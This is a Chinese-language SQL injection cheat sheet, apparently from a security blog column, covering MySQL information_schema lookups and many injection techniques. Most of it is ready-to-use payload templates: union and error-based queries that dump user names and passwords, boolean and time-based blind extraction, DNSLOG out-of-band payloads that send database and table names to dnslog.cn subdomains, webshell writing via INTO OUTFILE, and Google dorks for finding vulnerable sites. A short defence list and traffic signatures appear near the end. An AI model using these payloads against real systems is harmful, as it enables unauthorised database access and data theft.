-
Information_schema
# information_schema 内置库
# schema_name schemata下,记录库名的字段
# table_schema tables,columns下,记录库名的字段
# table_name tables,columns下,记录表名的字段
# column_name columns下,记录字段名的字段# 查询数据库
select schema_name from information_schema.schemata;
# 查询表名
select table_name from information_schema.tables;
# 查询列名
select column_name from information_schema.columns;
# 从 记录所有字段的表 中查询 表名=users 并且 库名=sis2403 的字段
select column_name from information_schema.columns where table_name="users" and table_schema='sis2403';# 其他
# 查看数据库版本
select version();
# 查看当前数据库
select database();
# 查看当前用户
select USER();
# 查看连接数据库的用户
select session_user();
# 查看数据库安装目录
select @@basedir;
# 查看存储数据库所在目录
select @@datadir;
# 查看当前操作系统版本
select @@version_compile_os;
-
MySQL函数
函数 | 描述 | 举例 |
union | 联合查询 | 条件:俩边字段数量必须一致SELECT 1,2,3 UNION SELECT 1,2,database() |
group_concat([分隔符],内容,[分隔符]) | 将返回的内容一行输出,可指定拼接符 | SELECT id,username,PASSWORD FROM users WHERE id='-1' UNION (SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(`password`) FROM users) |
concat(字串,字串,...) | 数据拼接 | SELECT concat(user,'~',city) FROM users; |
sleep(秒数) | 延时执行 | SELECT SLEEP(3); |
length(字串) | 返回结果得长度 | SELECT LENGTH("You"); |
substr(字串,起始,个数) | 截取字串 | SELECT SUBSTR("you",1,2); //yo |
mid(字串,起始,个数) | 截取字串 | SELECT MID(USER(),1,2); //ro |
ascii(条件,值1,值2) | 将结果转换为ascii码 | SELECT ASCII("Aou"); //65 |
hex(值) | 将值转为十六进制 | SELECT HEX(MID(USER(),1,2)); |
if() | 条件判断 | SELECT IF(TRUE,3,2) //3 |
extractvalue() |
| EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e)) |
updatexml() |
| UPDATEXML(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1) |
load_file() | 读取文件 | select load_file("D:\1.txt"); |
into outfile | 写入文件 | select "hello" into outfile "D:\1.txt" |
into dumpfile | 写入文件 |
|
-
SQL注入
-
含义:将恶意SQL语句送到对方目标数据库中去执行;
-
原理:未对用户输入做严格校验,就带到数据库中去执行;
-
条件:输入参数可控,并且会与数据库交互;
-
危害:信息泄露,数据篡改,未授权访问 和 XSS跨脚本攻击;
-
分类:
按数据提交方式 GET POST HTTP头(如,UA头,Referer和cookie。但不一定看对方源码怎么写) 数据类型 数字型 例:?id=1,无闭合 字符型 例: ?id=1'
,?id=1"
, ...搜索型 例:语句内 like '%1%' # 注入方式(8) - union联合注入
- 条件:有回显,左右两边查询字段数量一致
- 报错注入:
extractvalue()
,updatexml()
,floor()
,exp()
,linestring()
,polygon()
- 条件:页面会返回报错信息
- 布尔盲注:
exist()
,count()
,length()
,ascii()
,substr()
,database()
- 条件:只有异常与否没有报错和回显
- 时间盲注:
if(sql语句,sleep(),1)
,sleep()
,benchmark(次数,命令)
- 条件:页面无任何返回信息
- 宽字节注入
- 条件:
-
- 数据库使用GBK编码;
SHOW VARIABLES LIKE 'character%';
- 语言是UTF8编码;
- 只对特殊字符进行转义;
- 数据库使用GBK编码;
- 堆叠注入
- 条件:执行函数为:
mysqli_multi_query()
- 二次注入
- 条件:输入时只对特殊字符转义,使用时取出原数据
- 外带注入
- 条件
- 必须是高权限用户;
- 知道网站的绝对路径;
- secure_file_priv=' '
- 函数:
load_file()
,hex()
,concat()
,group_concat()
,database()
,...;
-
SQL注入流程:
1). 判断SQL注入; 通过测试闭合,布尔和延时,看响应是否异常 ;例:判断闭合——>?id=1'
报错?id=1' --+
正常,闭合为'
,且存在SQL注入漏洞;
2). 判断字段数; ——>order by 3 --+
正常order by 4 --+
报错;
3). 确定回显点 ——>union select 1,2,3
只显示2,3,则2,3为回显点;
4). 查询相关数据 ——> 库名,表名,字段名,字段信息; -
报错函数:
extractvalue()
,updatexml()
,floor()
,exp()
,linestring()
,polygon()
; -
updatexml()
/extractvalue()
注入原理:当报错时,会自动解析路径上的SQL语句; -
如何挖掘SQL注入漏洞:测试可能与数据库交互功能点 和 数据的增删改查的功能点,如注册,登录,搜索,翻页等功能;
-
SQL注入实践
# 数字型 无[闭合],字符型 有[闭合],搜索型 将[闭合]替换为 %[闭合],--+替换为#
# 判断闭合
# [闭合] AND 1=2 --+
# ' AND 1=1 --+# 测试字段数量
# [闭合] ORDER BY 1 --+
# ' ORDER BY 1 --+
-
Union联合注入
# ---数字型和字符型
# 判断回显位置
# [闭合] union select[1,2,3...(字段数量)] --+
# ' UNION SELECT 1,2,3 --+# 查询数据库名(可省略)
# [闭合] union (select[1,2,3...(字段数量)]) --+
# ' UNION (SELECT 1,2,DATABASE()) --+# 查询所有表名
# [闭合] union (SELECT 1,2,GROUP_CONCAT(table_name),... FROM information_schema.`TABLES` WHERE table_schema=DATABASE()) --+
# ' UNION (SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.`TABLES` WHERE table_schema=DATABASE()) --+# 查询所有字段名
# [闭合] UNION (SELECT 1,2,GROUP_CONCAT(column_name),... FROM information_schema.`COLUMNS` WHERE table_name='表名' and table_schema=DATABASE() ) --+
' UNION (SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.`COLUMNS` WHERE table_name='users' ) --+# 查询字段信息
# [闭合] UNION (SELECT 1,GROUP_CONCAT(字段名),GROUP_CONCAT(字段名),... FROM users) --+
' UNION (SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(`password`) FROM users) --+
-
报错注入
- 原理:当路径上的内容为SQL语句,报错时会自动执行;
# 查询数据库名
# [闭合] and UPDATEXML(任意字符,CONCAT(任意字符,(SQL语句),任意字符),任意字符) --+
# 'and UPDATEXML(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1) --+# [闭合] and EXTRACTVALUE(任意字符,CONCAT(任意字符,(SQL语句),任意字符)) --+
# 'and EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e)) --+# 替换的SQL语句
# 查询数据库名:
SELECT DATABASE()
# 查询数据表名
SELECT GROUP_CONCAT(table_name) FROM information_schema.`TABLES` WHERE table_schema=DATABASE()
# 查询字段名
SELECT GROUP_CONCAT(column_name) FROM information_schema.`COLUMNS` WHERE table_name='表名'
# 查询字段信息
SELECT GROUP_CONCAT(字段名) FROM 表名
-
布尔盲注 + Brup
- 流程:查询数据库类型 ————> 查询数据库名(可省略) ————> 查询数据表名
————> 查询数据库字段名 ————> 查询字段中的信息; - PS:库名(省略),表名和字段名 ————> 表名和字段名需判断数量
count()
————> 先判断长度length()
,再判断ASCII码ascii()
;
# 数据库类型
# MySQL数据库
[闭合] AND EXISTS(SELECT * FROM information_schema.`TABLES`) --+
# Access数据库
[闭合] AND EXISTS(SELECT * FROM msysobjects) --+
# SQLServer数据库
[闭合] AND EXISTS(SELECT * FROM sysobjects) --+ 旧版本
[闭合] AND EXISTS(SELECT * FROM sys.objects) --+ 新版本# PS:范围值任意, 截取从1开始,索引从0开始,到上一个获得的数量为止;
# 数据库名(可省略)
# 查询库名的长度
[闭合] AND (SELECT LENGTH(DATABASE())=库名长度范围值) --+ #修改范围值
# 查询库名的ASCII码
[闭合] AND (SELECT ASCII(SUBSTR(DATABASE(),索引,1))=ASCII码值) --+ #修改截取索引和ASCII码值# 表名
# 查询表的数量
[闭合] AND (SELECT COUNT(table_name) FROM information_schema.`TABLES` WHERE table_schema=DATABASE())=表数量范围值 --+ #修改范围值# 查询表名的长度
[闭合] AND (SELECT LENGTH(table_name) FROM information_schema.`TABLES` WHERE table_schema=DATABASE() LIMIT 索引,1)=表长度范围值 --+ #修改索引和范围值# 查询表名的ASCII码
[闭合] AND (SELECT ASCII(MID(table_name,截取索引,1)) FROM information_schema.`TABLES` WHERE table_schema=DATABASE() LIMIT 索引,1)=ascii码值 --+ #修改截取索引和ASCII码值,换表名时修改索引# 字段 表名根据实际情况
# 查询字段的数量
[闭合] AND (SELECT COUNT(column_name) FROM information_schema.`COLUMNS` WHERE table_schema=DATABASE() AND table_name="users")=字段数量范围值 --+ #修改范围值# 查询字段名的长度
[闭合] AND (SELECT LENGTH(column_name) FROM information_schema.`COLUMNS` WHERE table_schema=DATABASE() AND table_name="users" LIMIT 索引,1)=字段长度范围值 --+ #修改索引和范围值# 查询字段的ASCII码
[闭合] AND (SELECT ASCII(MID(column_name,截取索引,1)) FROM information_schema.`COLUMNS` WHERE table_schema=DATABASE() AND table_name="users" LIMIT 索引,1)=ascii码值 --+ #修改截取索引和ASCII码值,换字段时修改索引# 字段内容 字段名根据实际情况
# 查询字段内容长度
[闭合] AND (SELECT LENGTH(字段名) FROM users LIMIT 索引,1)=长度范围值 --+ #修改长度范围值和索引,修改索引更换该字段的下一个内容# 查询内容ASCII码
[闭合] AND (SELECT ASCII(MID(username,截取索引,1)) FROM users LIMIT 索引,1)=ASCII码值 --+ #修改截取索引和ASCII码值,修改索引更换该字段的下一个内容
-
时间盲注
- 语法: [闭合] AND IF(布尔盲注and到--+之间部分,SLEEP(4),1) --+
# 例:查询表名数量
'AND IF((SELECT COUNT(table_name) FROM information_schema.`TABLES` WHERE table_schema=DATABASE())=8,SLEEP(4),1) --+
-
宽字节注入
- 原理:GBK编码会将两个字节编码为一个汉字(前一个汉字ASCII码>128,例:%df,%cf);
- 语法:
%df[闭合] SQL语句 --+
-
堆叠注入
- 原理:语句中使用了
mysqli_multi_query()
函数,导致可以执行多条语句; - 语法:
[闭合]; SQL语句 --+
-
外带注入
- 语法:
[闭合] AND (SELECT LOAD_FILE(CONCAT('\\\\',(SQL语句),'.域名\\abc'))) --+
- 函数:
load_file()
,hex()
,concat()
,group_concat()
,database()
,... ;
# DNSLOG外带注入
# 查询数据库名以十六进制显示(记得更改域名)
# ' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(DATABASE())),'.xpf9ei.dnslog.cn\\abc'))) --+# 查询所有表名以十六进制显示(记得更改域名)
# ' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(GROUP_CONCAT(table_name)) FROM information_schema.`TABLES` WHERE table_schema='SECURITY'),'.b8tfyu.dnslog.cn\\abc'))) --+
-
二次注入
原理:插入时未经严格过滤,仅对输入内容的特殊字符进行转义,使用时取出原数据,造成sql二次注入;
-
其他
- 写入webshell的方式:
into outfile
和into dumpfile
; - SQL防御手段:
1). 黑名单过滤:不允许特定字符通过;
2). 白名单过滤:只允许特定字符通过;
3). 函数过滤:自定义函数过滤(类似黑白模板);
4). 脚本过滤:使用下载的防止SQL注入的脚本过滤;
5). PDO预处理:prepare函数会将字串与参数分开处理;
6). Waf拦截:Web应用防火墙(WAF)可以过滤和阻止恶意流量; - sql 注入无回显,可以采用什么注入?
1). 布尔盲注,时间盲注 和 DNSLOG外带注入; - SQL注入时用到的内置库名字?
1). information_schema - SQL注入mysql
1). 版本 > 5.0,Sql注入;
2). 版本 < 5.0,暴力破解; - SQL注入的流量特征:(非特长异错)
1). 非常规流量:短时间内大量数据;
2). 特殊字符:引号,分号,百分号,注释等等;
3). 长度异常:参数长度异常;
4). 异常请求: 请求中包含SQL语句;
5). 错误响应:返回错误的响应; - Google语法挖掘SQL注入漏洞
inurl:?id=1
inurl:php?=1
inurl:php?tid=1
inurl:php?aid=1
inurl:php?id=1
inurl:php?pid=1
inurl:php?cid=1
inurl:php?uid=1
inurl:php?gid=1
inurl:php?pid=1
-
免责声明
-
本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。
-
本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。
-
本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。
-
读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。
-
本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。
-
作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。
敬请广大读者谅解。如有疑问,请联系我们。谢谢!